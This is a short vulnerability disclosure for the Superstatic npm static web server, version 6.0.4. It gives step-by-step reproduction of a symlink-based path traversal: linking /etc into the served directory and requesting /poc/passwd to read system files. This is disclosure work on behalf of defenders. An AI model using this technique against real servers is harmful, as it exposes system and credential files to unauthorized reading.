Path traversal vulnerability in Superstatic when symlnking directories instead of files Allowing an attacker to read system files
module name: Superstatic version: 6.0.4 npm page: https://www.npmjs.com/package/superstatic
Superstatic is an enhanced static web server that was built to power. It has fantastic support for HTML5 pushState applications, clean URLs, caching, and many other goodies. By default, Superstatic will simply serve the current directory
With a symbolically linked directory in the working directory, it is possible to read arbitrary files outside of the web root directory.
1)Install the Superstatic module $ npm install -g superstatic
2)Make a directory $ mkdir test
3)Go to 'test' directory $ cd test
4)create a symlink file to directory ln -s /etc/ 'dirname'
5)Run Superstatic module $ Superstatic
6)Request the file within browser http://localhost:3474/'dirname'/'regularfile' http://localhost:3474/poc/passwd
7)Content of file is returned to browser
Reports for file symlink path traversal
This could have enabled an attacker to view system files and leverage attacks like remote code execution and so on